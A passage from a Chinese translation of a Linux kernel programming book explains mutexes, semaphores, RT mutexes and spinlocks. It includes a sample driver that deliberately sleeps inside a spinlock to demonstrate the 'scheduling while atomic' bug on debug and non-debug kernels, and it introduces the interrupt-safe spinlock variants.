互斥 io 变体

mutex_lock_io() API 在语法上与mutex_lock() API 相同;唯一的区别是内核认为失败线程的等待时间与等待 I/O 相同(kernel/locking/mutex.c:mutex_lock_io()中的代码注释清楚地记录了这一点;看一下)。这在会计方面很重要。

您可以在内核中找到相当奇特的 API,比如mutex_lock[_interruptible]_nested(),这里重点是nested后缀。但是,请注意,Linux 内核不希望开发人员使用嵌套(或递归)锁定(正如我们在正确使用互斥锁一节中提到的)。此外,这些 API 只在存在CONFIG_DEBUG_LOCK_ALLOC配置选项时才会被编译;实际上,嵌套 API 是为了支持内核锁验证器机制而添加的。它们只应在特殊情况下使用(在同一类型的锁实例之间必须包含嵌套级别的情况下)。

在下一节中,我们将回答一个典型的常见问题:互斥锁和信号量对象有什么区别?Linux 是否有信号量对象?继续阅读以了解更多!

信号量和互斥锁

Linux 内核确实提供了一个信号量对象,以及您可以对(二进制)信号量执行的常规操作:

  • 通过down[_interruptible]()(和变体)API 获取信号量锁

  • 通过up() API 解锁信号量。

一般来说,信号量是一种较旧的实现,因此建议您使用互斥锁来代替它。

值得一看的常见问题是:互斥锁和信号量之间有什么区别?它们在概念上看起来相似,但实际上是非常不同的。

  • 信号量是互斥锁的一种更一般化的形式;互斥锁可以被获取(然后释放或解锁)一次,而信号量可以被获取(然后释放)多次。

  • 互斥锁用于保护临界区免受同时访问,而信号量应该被用作一种机制,用于向另一个等待任务发出信号,表明已经达到了某个里程碑(通常,生产者任务通过信号量对象发布信号,等待接收的消费者任务可以继续进行进一步的工作)。

  • 互斥锁具有锁的所有权概念,只有所有者上下文才能执行解锁;二进制信号量没有所有权。

优先级反转和 RT-互斥锁

在使用任何类型的锁定时需要注意的一点是,您应该仔细设计和编码,以防止可能出现的可怕的死锁情况(在锁验证器 lockdep - 及早捕捉锁定问题一节中将更多地讨论这一点)。

除了死锁之外,使用互斥锁时还会出现另一种风险情况:优先级反转(在本书中我们不会深入讨论细节)。可以说,无界优先级反转情况可能是致命的;最终结果是产品的高(最高)优先级线程被长时间挡在 CPU 之外。

正如我在早期的书籍使用 Linux 进行系统编程中详细介绍的那样,正是这种优先级反转问题在 1997 年 7 月击中了 NASA 的火星探路者机器人,而且还是在火星表面!请参阅本章的进一步阅读部分,了解有关这一问题的有趣资源,这是每个软件开发人员都应该知道的内容!

用户空间 Pthreads 互斥锁实现当然具有优先级继承PI)语义。但在 Linux 内核中呢?对此,Ingo Molnar 提供了基于 PI-futex 的 RT 互斥锁(实时互斥锁;实际上是扩展为具有 PI 功能的互斥锁。futex(2)是一个提供快速用户空间互斥锁的复杂系统调用)。当启用CONFIG_RT_MUTEXES配置选项时,这些就可用了。与“常规”互斥锁语义非常相似,RT 互斥锁 API 用于初始化、(解)锁定和销毁 RT 互斥锁对象。(此代码已从 Ingo Molnar 的-rt树合并到主线内核)。就实际使用而言,RT 互斥锁用于在内部实现 PI futex(futex(2)系统调用本身在内部实现了用户空间 Pthreads 互斥锁)。除此之外,内核锁定自测代码和 I2C 子系统直接使用 RT 互斥锁。

因此,对于典型的模块(或驱动程序)作者来说,这些 API 并不经常使用。内核确实提供了一些关于 RT 互斥锁内部设计的文档(涵盖了优先级反转、优先级继承等)。

内部设计

关于互斥锁在内核结构深处的内部实现的现实:Linux 在可能的情况下尝试实现快速路径方法。

快速路径是最优化的高性能代码路径;例如,没有锁和阻塞。目的是让代码尽可能地遵循这条快速路径。只有在真的不可能的情况下,内核才会退回到“中间路径”,然后是“慢路径”;它仍然可以工作,但速度较慢。

在没有锁争用的情况下(即,锁最初处于未锁定状态),会采用这条快速路径。因此,锁会立即被锁定,没有麻烦。然而,如果互斥锁已经被锁定,那么内核通常会使用中间路径的乐观自旋实现,使其更像是混合(互斥锁/自旋锁)锁类型。如果甚至这也不可能,就会遵循“慢路径” – 尝试获取锁的进程上下文可能会进入睡眠状态。如果您对其内部实现感兴趣,可以在官方内核文档中找到更多详细信息。

LDV(Linux 驱动程序验证)项目:在伴随指南Linux 内核编程 - 第一章内核工作空间设置LDV – Linux 驱动程序验证 – 项目部分中,我们提到该项目对 Linux 模块(主要是驱动程序)以及核心内核的各种编程方面有有用的“规则”。

关于我们当前的主题,这里有一个规则:两次锁定互斥锁或在先前未锁定的情况下解锁。它提到了您不能使用互斥锁做的事情(我们已经在正确使用互斥锁部分中涵盖了这一点)。有趣的是:您可以看到一个实际的 bug 示例 – 一个互斥锁双重获取尝试,导致(自身)死锁 – 在内核驱动程序中(以及随后的修复)。

现在您已经了解了如何使用互斥锁,让我们继续看看内核中另一个非常常见的锁 – 自旋锁。

使用自旋锁

互斥锁还是自旋锁?何时使用部分,您学会了何时使用自旋锁而不是互斥锁,反之亦然。为了方便起见,我们在此重复了我们之前提供的关键声明。

  • 关键部分是在原子(中断)上下文中运行还是在不能睡眠的进程上下文中运行?使用自旋锁。

  • 关键部分是在进程上下文中运行并且在关键部分中睡眠是必要的吗?使用互斥锁。

在这一部分,我们假设您现在决定使用自旋锁。

自旋锁 - 简单用法

对于所有自旋锁 API,您必须包括相关的头文件;即include <linux/spinlock.h>

与互斥锁类似,您必须在使用之前声明和初始化自旋锁为未锁定状态。自旋锁是通过typedef数据类型spinlock_t(在内部,它是在include/linux/spinlock_types.h中定义的结构)声明的“对象”。它可以通过spin_lock_init()宏动态初始化:

spinlock_t lock;
spin_lock_init(&lock);

或者,这可以通过DEFINE_SPINLOCK(lock);静态执行(声明和初始化)。

与互斥锁一样,在(全局/静态)数据结构中声明自旋锁是为了防止并发访问,并且通常是一个非常好的主意。正如我们之前提到的,这个想法在内核中经常被使用;例如,表示 Linux 内核上打开文件的数据结构被称为struct file

// include/linux/fs.h
struct file {
    [...]
    struct path f_path;
    struct inode *f_inode; /* cached value */
    const struct file_operations *f_op;
    /*
     * Protects f_ep_links, f_flags.
     * Must not be taken from IRQ context.
     */
    spinlock_t f_lock;
    [...]
    struct mutex f_pos_lock;
    loff_t f_pos;
    [...]

看一下:对于file结构,名为f_lock的自旋锁变量是保护file数据结构的f_ep_linksf_flags成员的自旋锁(它还有一个互斥锁来保护另一个成员;即文件的当前寻位位置 - f_pos)。

你如何实际上锁定和解锁自旋锁?内核向我们模块/驱动程序作者公开了许多 API 的变体;自旋锁 API 的最简单形式如下:

void spin_lock(spinlock_t *lock);
<< ... critical section ... >>
void spin_unlock(spinlock_t *lock);

请注意,mutex_destroy()API 没有自旋锁的等效 API。

现在,让我们看看自旋锁 API 的实际应用!

自旋锁 - 一个示例驱动程序

与我们的互斥锁示例驱动程序(互斥锁 - 一个示例驱动程序部分)所做的类似,为了说明自旋锁的简单用法,我们将复制我们之前的ch12/1_miscdrv_rdwr_mutexlock驱动程序作为起始模板,然后将其放置在一个新的内核驱动程序中;也就是ch12/2_miscdrv_rdwr_spinlock。同样,在这里,我们只会显示差异的小部分(diff(1)生成的差异,我们不会显示每一行差异,只显示相关部分)。

// location: ch12/2_miscdrv_rdwr_spinlock/
+#include <linux/spinlock.h>
[ ... ]
-#define OURMODNAME "miscdrv_rdwr_mutexlock"
+#define OURMODNAME "miscdrv_rdwr_spinlock"
[ ... ]
static int ga, gb = 1;
-DEFINE_MUTEX(lock1); // this mutex lock is meant to protect the integers ga and gb
+DEFINE_SPINLOCK(lock1); // this spinlock protects the global integers ga and gb
[ ... ]
+/* The driver 'context' data structure;
+ * all relevant 'state info' reg the driver is here.
  */
 struct drv_ctx {
    struct device *dev;
@@ -63,10 +66,22 @@
    u64 config3;
 #define MAXBYTES 128
    char oursecret[MAXBYTES];
- struct mutex lock; // this mutex protects this data structure
+ struct mutex mutex; // this mutex protects this data structure
+ spinlock_t spinlock; // ...so does this spinlock
 };
 static struct drv_ctx *ctx;

这一次,为了保护我们的drv_ctx全局数据结构的成员,我们既有原始的互斥锁,又有一个新的自旋锁。这是相当常见的;互斥锁用于保护关键部分中可能发生阻塞的成员使用,而自旋锁用于保护关键部分中不会发生阻塞(睡眠 - 请记住它可能会睡眠)的成员。

当然,我们必须确保初始化所有锁,使它们处于未锁定状态。我们可以在驱动程序的init代码中执行这个操作(继续使用补丁输出):

-   mutex_init(&ctx->lock);
+   mutex_init(&ctx->mutex);
+   spin_lock_init(&ctx->spinlock);

在驱动程序的open方法中,我们用自旋锁替换互斥锁来保护全局整数的增量和减量:

 * open_miscdrv_rdwr()
@@ -82,14 +97,15 @@

    PRINT_CTX(); // displays process (or intr) context info

-   mutex_lock(&lock1);
+   spin_lock(&lock1);
    ga++; gb--;
-   mutex_unlock(&lock1);
+   spin_unlock(&lock1);

现在,在驱动程序的read方法中,我们使用自旋锁而不是互斥锁来保护一些关键部分:

 static ssize_t read_miscdrv_rdwr(struct file *filp, char __user *ubuf, size_t count, loff_t  *off)
 {
-   int ret = count, secret_len;
+   int ret = count, secret_len, err_path = 0;
    struct device *dev = ctx->dev;

-   mutex_lock(&ctx->lock);
+   spin_lock(&ctx->spinlock);
    secret_len = strlen(ctx->oursecret);
-   mutex_unlock(&ctx->lock);
+   spin_unlock(&ctx->spinlock);

然而,这还不是全部!继续使用驱动程序的read方法,仔细看一下以下代码和注释:

[ ... ]
@@ -139,20 +157,28 @@
     * member to userspace.
     */
    ret = -EFAULT;
-   mutex_lock(&ctx->lock);
+   mutex_lock(&ctx->mutex);
+   /* Why don't we just use the spinlock??
+    * Because - VERY IMP! - remember that the spinlock can only be used when
+    * the critical section will not sleep or block in any manner; here,
+    * the critical section invokes the copy_to_user(); it very much can
+    * cause a 'sleep' (a schedule()) to occur.
+    */
    if (copy_to_user(ubuf, ctx->oursecret, secret_len)) {
[ ... ]

在保护关键部分可能有阻塞 API 的数据时 - 例如在copy_to_user()中 - 我们必须只使用互斥锁!(由于空间不足,我们没有在这里显示更多的代码差异;我们希望您阅读自旋锁示例驱动程序代码并自行尝试。)

测试 - 在原子上下文中睡眠

你已经学会了我们不应该在任何类型的原子或中断上下文中睡眠(阻塞)。让我们来测试一下。一如既往,经验主义方法 - 在测试自己的东西而不是依赖他人的经验时 - 是关键!

我们究竟如何测试这个?很简单:我们将使用一个简单的整数模块参数buggy,当设置为1(默认值为0)时,会执行违反此规则的自旋锁临界区内的代码路径。我们将调用schedule_timeout() API(正如您在第五章中学到的,使用内核定时器、线程和工作队列,在理解如何使用sleep()阻塞 API*部分中)内部调用schedule();这是我们在内核空间中进入睡眠的方式)。以下是相关代码:

// ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c
[ ... ]
static int buggy;
module_param(buggy, int, 0600);
MODULE_PARM_DESC(buggy,
"If 1, cause an error by issuing a blocking call within a spinlock critical section");
[ ... ]
static ssize_t write_miscdrv_rdwr(struct file *filp, const char __user *ubuf,
                size_t count, loff_t *off)
{
    int ret, err_path = 0;
    [ ... ]
    spin_lock(&ctx->spinlock);
    strscpy(ctx->oursecret, kbuf, (count > MAXBYTES ? MAXBYTES : count));
    [ ... ]
    if (1 == buggy) {
        /* We're still holding the spinlock! */
        set_current_state(TASK_INTERRUPTIBLE);
        schedule_timeout(1*HZ); /* ... and this is a blocking call!
 * Congratulations! you've just engineered a bug */
    }
    spin_unlock(&ctx->spinlock);
    [ ... ]
}

现在,有趣的部分:让我们在两个内核中测试这个(错误的)代码路径:首先是在我们的自定义 5.4“调试”内核中(我们在这个内核中启用了几个内核调试配置选项(主要是从make menuconfig中的Kernel Hacking菜单中),如伴随指南Linux 内核编程-第五章编写您的第一个内核模块-LKMs 第二部分中所解释的),其次是在一个没有启用任何相关内核调试选项的通用发行版(我们通常在 Ubuntu 上运行)5.4 内核上。

在 5.4 调试内核上进行测试

首先确保您已经构建了自定义的 5.4 内核,并且所有必需的内核调试配置选项都已启用(再次回到伴随指南Linux 内核编程-第五章编写您的第一个内核模块-LKMs 第二部分配置调试内核部分,如果需要的话)。然后,从调试内核启动(这里命名为5.4.0-llkd-dbg)。现在,在这个调试内核中构建驱动程序(在ch12/2_miscdrv_rdwr_spinlock/中)(在驱动程序目录中通常使用make命令即可完成;您可能会发现,在调试内核上,构建速度明显较慢!):

$ lsb_release -a 2>/dev/null | grep "^Description" ; uname -r
Description: Ubuntu 20.04.1 LTS
5.4.0-llkd-dbg $ make
[ ... ]
$ modinfo ./miscdrv_rdwr_spinlock.ko 
filename: /home/llkd/llkd_src/ch12/2_miscdrv_rdwr_spinlock/./miscdrv_rdwr_spinlock.ko
[ ... ]
description: LLKD book:ch12/2_miscdrv_rdwr_spinlock: simple misc char driver rewritten with spinlocks
[ ... ]
parm: buggy:If 1, cause an error by issuing a blocking call within a spinlock critical section (int)
$ sudo virt-what
virtualbox
kvm
$ 

如您所见,我们在我们的 x86_64 Ubuntu 20.04 客户 VM 上运行我们的自定义 5.4.0“调试”内核。

您如何知道自己是在虚拟机(VM)上运行还是在“裸机”(本机)系统上运行?virt-what(1)是一个有用的小脚本,可以显示这一点(您可以在 Ubuntu 上使用sudo apt install virt-what进行安装)。

要运行我们的测试用例,将驱动程序插入内核并将buggy模块参数设置为1。调用驱动程序的read方法(通过我们的用户空间应用程序;也就是ch12/miscdrv_rdwr/rdwr_test_secret)不是问题,如下所示:

$ sudo dmesg -C
$ sudo insmod ./miscdrv_rdwr_spinlock.ko buggy=1
$ ../../ch12/miscdrv_rdwr/rdwr_test_secret 
Usage: ../../ch12/miscdrv_rdwr/rdwr_test_secret opt=read/write device_file ["secret-msg"]
 opt = 'r' => we shall issue the read(2), retrieving the 'secret' form the driver
 opt = 'w' => we shall issue the write(2), writing the secret message <secret-msg>
  (max 128 bytes)
$ 
$ ../../ch12/miscdrv_rdwr/rdwr_test_secret r /dev/llkd_miscdrv_rdwr_spinlock 
Device file /dev/llkd_miscdrv_rdwr_spinlock opened (in read-only mode): fd=3
../../ch12/miscdrv_rdwr/rdwr_test_secret: read 7 bytes from /dev/llkd_miscdrv_rdwr_spinlock
The 'secret' is:
 "initmsg"
$ 

接下来,我们通过用户模式应用程序向驱动程序发出write(2);这次,我们的错误代码路径被执行。正如您所看到的,我们在自旋锁的临界区内发出了schedule_timeout()(也就是在锁定和解锁之间)。调试内核将此检测为错误,并在内核日志中生成(令人印象深刻的大量)调试诊断(请注意,这样的错误很可能会使您的系统挂起,因此请先在虚拟机上进行测试):

图 6.9-由我们故意触发的“在原子上下文中调度”错误触发的内核诊断

前面的屏幕截图显示了发生的部分情况(在查看ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c中的驱动程序代码时,请跟随一起):

  1. 首先,我们有我们的用户模式应用程序的进程上下文(rdwr_test_secre;请注意名称被截断为前 16 个字符,包括NULL字节),它进入驱动程序的写入方法;也就是write_miscdrv_rdwr()。这可以在我们有用的PRINT_CTX()宏的输出中看到(我们在这里重现了这一行):
miscdrv_rdwr_spinlock:write_miscdrv_rdwr(): 004) rdwr_test_secre :23578 | ...0 /*  write_miscdrv_rdwr() */
  1. 它从用户空间写入进程中复制新的“秘密”并将其写入,共 24 个字节。

  2. 然后,“获取”自旋锁,进入临界区,并将这些数据复制到我们驱动程序上下文结构的oursecret成员中。

  3. 之后,if (1 == buggy) {评估为 true。

  4. 然后,它调用schedule_timeout(),这是一个阻塞 API(因为它内部调用schedule()),触发了错误,这在红色中得到了很好的突出显示:

BUG: scheduling while atomic: rdwr_test_secre/23578/0x00000002
  1. 内核现在会输出大量的诊断输出。首先要输出的是调用堆栈

进程的内核模式堆栈或堆栈回溯(或“调用跟踪”)- 在这里,它是我们的用户空间应用程序rdwr_drv_secret,它正在运行我们(有缺陷的)驱动程序的代码在进程上下文中- 可以在图 6.9中清楚地看到。Call Trace:标题之后的每一行本质上都是内核堆栈上的一个调用帧。

作为提示,忽略以?符号开头的堆栈帧;它们很可能是同一内存区域中以前堆栈使用的“剩余物”。在这里值得进行一次与内存相关的小的偏离:这就是堆栈分配的真正工作原理;堆栈内存不是按照每个调用帧的基础分配和释放的,因为那将是非常昂贵的。只有在堆栈内存页耗尽时,才会自动故障新的内存页!(回想一下我们在伴随指南Linux 内核编程-第九章模块作者的内核内存分配-第二部分中的讨论,在内存分配和需求分页的简短说明部分。)因此,现实情况是,当代码调用和从函数返回时,相同的堆栈内存页往往会不断被重用。

不仅如此,出于性能原因,内存并不是每次都被擦除,这导致以前的帧留下的情况经常出现。(它们可以真正“破坏”图像。然而,幸运的是,现代堆栈调用帧跟踪算法通常能够出色地找出正确的堆栈跟踪。)

从下到上(总是从下到上阅读)跟踪堆栈,我们可以看到,如预期的那样,我们的用户空间write(2)系统调用(它经常显示为(类似于)SyS_write或在 x86 上显示为__x64_sys_write,尽管在图 6.9中看不到)调用了内核的 VFS 层代码(您可以在这里看到vfs_write(),它调用了__vfs_write()),进一步调用了我们驱动程序的写方法;也就是write_miscdrv_rdwr()!正如我们所知,这段代码调用了有缺陷的代码路径,我们在其中调用了schedule_timeout(),这又调用了schedule()(和__schedule()),导致整个BUG:scheduling while atomic错误触发。

scheduling while atomic代码路径的格式是从以下代码行中检索的,该代码行可以在kernel/sched/core.c中找到:

printk(KERN_ERR "BUG: scheduling while atomic: %s/%d/0x%08x\n", prev->comm, prev->pid, preempt_count());

有趣!在这里,您可以看到它打印了以下字符串:

      BUG: scheduling while atomic: rdwr_test_secre/23578/0x00000002

atomic:之后,它打印进程名称-PID-,然后调用preempt_count()内联函数,该函数打印抢占深度;抢占深度是一个计数器,每次获取锁时递增,每次解锁时递减。因此,如果它是正数,这意味着代码在关键或原子部分内;在这里,它显示为值2

请注意,这个错误在这次测试运行中得到了很好的解决,因为CONFIG_DEBUG_ATOMIC_SLEEP调试内核配置选项已经打开。这是因为我们正在运行一个自定义的“调试内核”(内核版本 5.4.0)!配置选项的详细信息(您可以在make menuconfig中交互地找到并设置此选项,在Kernel Hacking菜单下)如下:

// lib/Kconfig.debug
[ ... ]
config DEBUG_ATOMIC_SLEEP
    bool "Sleep inside atomic section checking"
    select PREEMPT_COUNT
    depends on DEBUG_KERNEL
    depends on !ARCH_NO_PREEMPT
    help 
      If you say Y here, various routines which may sleep will become very 
 noisy if they are called inside atomic sections: when a spinlock is
 held, inside an rcu read side critical section, inside preempt disabled
 sections, inside an interrupt, etc...

在 5.4 非调试 distro 内核上进行测试

作为对比测试,我们现在将在我们的 Ubuntu 20.04 LTS VM 上执行完全相同的操作,我们将通过其默认的通用“distro” 5.4 Linux 内核引导,通常未配置为“调试”内核(这里,CONFIG_DEBUG_ATOMIC_SLEEP内核配置选项尚未设置)。

首先,我们插入我们的(有缺陷的)驱动程序。然后,当我们运行我们的rdwr_drv_secret进程以向驱动程序写入新的秘密时,有缺陷的代码路径被执行。然而,这一次,内核既不崩溃,也不报告任何问题(查看dmesg(1)输出验证了这一点):

$ uname -r
5.4.0-56-generic
$ sudo insmod ./miscdrv_rdwr_spinlock.ko buggy=1
$ ../../ch12/miscdrv_rdwr/rdwr_test_secret w /dev/llkd_miscdrv_rdwr_spinlock "passwdcosts500bucksdude"
Device file /dev/llkd_miscdrv_rdwr_spinlock opened (in write-only mode): fd=3
../../ch12/miscdrv_rdwr/rdwr_test_secret: wrote 24 bytes to /dev/llkd_miscdrv_rdwr_spinlock
$ dmesg 
[ ... ]
[ 65.420017] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): LLKD misc driver (major # 10) registered, minor# = 56, dev node is /dev/llkd_miscdrv_rdwr
[ 81.665077] miscdrv_rdwr_spinlock:miscdrv_exit_spinlock(): miscdrv_rdwr_spinlock: LLKD misc driver deregistered, bye
[ 86.798720] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): VERMAGIC_STRING = 5.4.0-56-generic SMP mod_unload 
[ 86.799890] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): LLKD misc driver (major # 10) registered, minor# = 56, dev node is /dev/llkd_miscdrv_rdwr
[ 130.214238] misc llkd_miscdrv_rdwr_spinlock: filename: "llkd_miscdrv_rdwr_spinlock"
                wrt open file: f_flags = 0x8001
                ga = 1, gb = 0
[ 130.219233] misc llkd_miscdrv_rdwr_spinlock: stats: tx=0, rx=0
[ 130.219680] misc llkd_miscdrv_rdwr_spinlock: rdwr_test_secre wants to write 24 bytes
[ 130.220329] misc llkd_miscdrv_rdwr_spinlock: 24 bytes written, returning... (stats: tx=0, rx=24)
[ 131.249639] misc llkd_miscdrv_rdwr_spinlock: filename: "llkd_miscdrv_rdwr_spinlock"
                ga = 0, gb = 1
[ 131.253511] misc llkd_miscdrv_rdwr_spinlock: stats: tx=0, rx=24
$ 

我们知道我们的写入方法有一个致命的错误,但它似乎并没有以任何方式失败!这真的很糟糕;这种事情可能会误导你错误地认为你的代码很好,而实际上一个难以察觉的致命错误悄悄地等待着某一天突然袭击!

为了帮助我们调查底层到底发生了什么,让我们再次运行我们的测试应用程序(rdwr_drv_secret进程),但这次通过强大的trace-cmd(1)工具(一个非常有用的包装器,覆盖了 Ftrace 内核基础设施;以下是它的截断输出:

Linux 内核的Ftrace基础设施是内核的主要跟踪基础设施;它提供了内核空间中几乎每个执行的函数的详细跟踪。在这里,我们通过一个方便的前端利用 Ftrace:trace-cmd(1)实用程序。这些确实是非常强大和有用的调试工具;我们在伴随指南* Linux 内核编程 - 第一章* 内核工作空间设置中提到了其他几个,但不幸的是,这些细节超出了本书的范围。查看手册以了解更多。

$ sudo trace-cmd record -p function_graph -F ../../ch12/miscdrv_rdwr/rdwr_test_secret w /dev/llkd_miscdrv_rdwr_spinlock "passwdcosts500bucks"
$ sudo trace-cmd report -I -S -l > report.txt
$ sudo less report.txt
[ ... ]

输出可以在以下截图中看到:

图 6.10 - trace-cmd(1)报告输出的部分截图

正如你所看到的,我们用户模式应用程序的write(2)系统调用变成了预期的vfs_write(),它本身(经过安全检查后)调用了__vfs_write(),然后调用了我们的驱动程序的写入方法 - write_miscdrv_rdwr()函数!

在(大量的)Ftrace 输出流中,我们可以看到schedule_timeout()函数确实被调用了:

图 6.11 - trace-cmd(1)报告输出的部分截图,显示了在原子上下文中调用 schedule_timeout()和 schedule()的(错误的!)调用

schedule_timeout()之后的几行输出中,我们可以清楚地看到schedule()被调用!所以,我们的驱动程序(当然是故意的)执行了一些错误的操作 - 在原子上下文中调用schedule()。但这里的关键点是,在这个 Ubuntu 系统上,我们没有运行“调试”内核,这就是为什么我们有以下情况:

$ grep DEBUG_ATOMIC_SLEEP /boot/config-5.4.0-56-generic
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
$

这就是为什么错误没有被报告的原因!这证明了运行测试用例的有用性 - 事实上,在“调试”内核上进行内核开发 - 一个启用了许多调试功能的内核。(作为练习,如果您还没有这样做,请准备一个“调试”内核并在其上运行此测试用例。)

Linux 驱动程序验证(LDV)项目:在伴随指南* Linux 内核编程 - 第一章* 内核工作空间设置中,我们提到了这个项目对 Linux 模块(主要是驱动程序)以及核心内核的各种编程方面有用的“规则”。

关于我们当前的主题,这是其中一条规则:使用自旋锁和解锁函数linuxtesting.org/ldv/online?action=show_rule&rule_id=0039)。它提到了关于正确使用自旋锁的关键点;有趣的是,它在这里展示了一个驱动程序中实际的错误实例,其中尝试两次释放自旋锁 - 这是对锁定规则的明显违反,导致系统不稳定。

锁定和中断

到目前为止,我们已经学会了如何使用互斥锁,对于自旋锁,基本的spin_[un]lock() API。自旋锁还有一些其他 API 变体,我们将在这里检查更常见的一些。

为了确切理解为什么你可能需要其他的自旋锁 API,让我们来看一个情景:作为驱动程序的作者,你发现你正在处理的设备断言了一个硬件中断;因此,你为其编写了中断处理程序。现在,在为你的驱动程序实现read方法时,你发现其中有一个非阻塞的临界区。这很容易处理:正如你所学的,你应该使用自旋锁来保护它。太好了!但是,如果在read方法的临界区内,设备的硬件中断触发了怎么办?正如你所知,硬件中断会抢占任何事情;因此,控制权将转移到中断处理程序代码,抢占了驱动程序的read方法。

关键问题在于:这是一个问题吗?答案取决于你的中断处理程序和read方法在做什么以及它们是如何实现的。让我们想象一些情景:

  • 中断处理程序(理想情况下)仅使用局部变量,因此即使read方法处于临界区,它实际上并不重要;中断处理将非常快速地完成,并且控制权将被交还给被中断的内容(同样,这还不止这些;正如你所知,任何现有的底半部,比如任务 let 或软中断,也可能需要执行)。换句话说,在这种情况下实际上没有竞争。

  • 中断处理程序正在处理(全局)共享可写数据,但不是你的读取方法正在使用的数据项。因此,再次,没有冲突,也没有与读取代码的竞争。当然,你应该意识到,中断代码确实有一个临界区,它必须受到保护(也许需要另一个自旋锁)。

  • 中断处理程序正在处理与你的read方法使用的相同的全局共享可写数据。在这种情况下,我们可以看到存在竞争的潜力,因此我们需要锁!

让我们专注于第三种情况。显然,我们应该使用自旋锁来保护中断处理代码中的临界区(请记住,在任何类型的中断上下文中使用互斥锁是不允许的)。此外,除非我们在read方法和中断处理程序的代码路径中都使用完全相同的自旋锁,否则它们将根本得不到保护!(在处理锁时要小心;花时间仔细思考你的设计和代码细节。)

让我们尝试更加实际一些(暂时使用伪代码):假设我们有一个名为gCtx的全局(共享)数据结构;我们在驱动程序的read方法和中断处理程序(硬中断处理程序)中都在操作它。由于它是共享的,它是一个临界区,因此需要保护;由于我们在一个原子(中断)上下文中运行,我们不能使用互斥锁,因此必须使用自旋锁(这里,自旋锁变量称为slock)。以下伪代码显示了这种情况的一些时间戳(t1,t2,...):

// Driver read method ; WRONG ! driver_read(...)                  << time t0 >>
{
    [ ... ]
    spin_lock(&slock);
    <<--- time t1 : start of critical section >>
... << operating on global data object gCtx >> ...
    spin_unlock(&slock);
    <<--- time t2 : end of critical section >>
    [ ... ]
}                                << time t3 >>

以下伪代码是设备驱动程序的中断处理程序:

handle_interrupt(...)           << time t4; hardware interrupt fires!     >>
{
    [ ... ]
    spin_lock(&slock);
    <<--- time t5: start of critical section >>
    ... << operating on global data object gCtx >> ...
    spin_unlock(&slock);
    <<--- time t6 : end of critical section >>
    [ ... ]
}                               << time t7 >> 

这可以用以下图表总结:

图 6.12 - 时间轴 - 当处理全局数据时,驱动程序的读取方法和硬中断处理程序按顺序运行;这里没有问题

幸运的是,一切都进行得很顺利 - “幸运”是因为硬件中断是在read函数的临界区完成之后触发的。当然,我们不能指望幸运成为我们产品的唯一安全标志!硬件中断是异步的;如果它在一个不太合适的时间(对我们来说)触发了 - 比如,在read方法的临界区在时间 t1 和 t2 之间运行时怎么办?好吧,自旋锁会执行它的工作并保护我们的数据吗?

此时,中断处理程序的代码将尝试获取相同的自旋锁(&slock)。等一下——它无法“获取”它,因为它当前被锁定了!在这种情况下,它“自旋”,实际上是在等待解锁。但它怎么能解锁呢?它不能,这就是我们所面临的一个(自身)死锁

有趣的是,自旋锁在 SMP(多核)系统上更直观,更有意义。让我们假设read方法在 CPU 核心 1 上运行;中断可以在另一个 CPU 核心上,比如核心 2 上被传递。中断代码路径将在 CPU 核心 2 上的锁上“自旋”,而read方法在核心 1 上完成临界区,然后解锁自旋锁,从而解除中断处理程序的阻塞。但是在UP(单处理器,只有一个 CPU 核心)上呢?那么它会怎么工作呢?啊,所以这是解决这个难题的方法:当与中断“竞争”时,无论是单处理器还是 SMP,都简单地使用自旋锁 API_irq 变体

#include <linux/spinlock.h>
void spin_lock_irq(spinlock_t *lock);

spin_lock_irq() API 在处理器核心上禁用中断;也就是说,在本地核心上。因此,通过在我们的read方法中使用这个 API,中断将在本地核心上被禁用,从而通过中断使任何可能的“竞争”变得不可能。(如果中断在另一个 CPU 核心上触发,自旋锁技术将像之前讨论的那样正常工作!)

spin_lock_irq()的实现是相当嵌套的(就像大多数自旋锁功能一样),但是很快;在下一行,它最终调用了local_irq_disable()preempt_disable()宏,在运行它的本地处理器核心上禁用了中断和内核抢占。(禁用硬件中断也会有禁用内核抢占的(理想的)副作用。)

spin_lock_irq()与相应的spin_unlock_irq() API 配对。因此,对于这种情况(与我们之前看到的情况相反),自旋锁的正确用法如下:

// Driver read method ; CORRECT ! driver_read(...)                  << time t0 >>
{
    [ ... ]
    spin_lock_irq(&slock);
    <<--- time t1 : start of critical section >>
*[now all interrupts + preemption on local CPU core are masked (disabled)]*
... << operating on global data object gCtx >> ...
    spin_unlock_irq(&slock);
    <<--- time t2 : end of critical section >>
    [ ... ]
}                                << time t3 >>

在我们自满地拍拍自己的背并休息一天之前,让我们考虑另一种情况。这一次,在一个更复杂的产品(或项目)上,有可能在代码库上工作的几个开发人员中,有人故意将中断屏蔽设置为某个值,从而阻止一些中断,同时允许其他中断。为了我们的例子,让我们假设这在某个时间点t0之前发生过。现在,正如我们之前描述的,另一个开发人员(你!)过来了,为了保护驱动程序read方法中的临界区,使用了spin_lock_irq() API。听起来正确,是吗?是的,但是这个 API 有权利关闭(屏蔽)所有硬件中断(和内核抢占,我们现在将忽略)。它通过在低级别上操作(非常特定于架构的)硬件中断屏蔽寄存器来做到这一点。假设将与中断对应的位设置为1会启用该中断,而清除该位(为0)会禁用或屏蔽它。由于这个原因,我们可能会得到以下情况:

  • 时间t0:中断屏蔽被设置为某个值,比如0x8e (10001110b),启用了一些中断并禁用了一些中断。这对项目很重要(在这里,为了简单起见,我们假设有一个 8 位掩码寄存器)

[...时间流逝...].

  • 时间t1:就在进入驱动程序read方法的临界区之前,调用

spin_lock_irq(&slock);。这个 API 的内部效果是将中断屏蔽寄存器中的所有位清零,从而禁用所有中断(正如我们认为我们所期望的)。

  • 时间t2:现在,硬件中断无法在这个 CPU 核心上触发,所以我们继续完成临界区。完成后,我们调用spin_unlock_irq(&slock);。这个 API 的内部效果是将中断屏蔽寄存器中的所有位设置为1,重新启用所有中断。

然而,中断掩码寄存器现在被错误地“恢复”为0xff (11111111b)的值,而不是原始开发人员想要、需要和假设的0x8e的值!这可能会(并且可能会)在项目中出现问题。

解决方案非常简单:不要假设任何东西,只需保存和恢复中断掩码。可以通过以下 API 对实现这一点:

#include <linux/spinlock.h>>
 unsigned long spin_lock_irqsave(spinlock_t *lock, unsigned long flags);
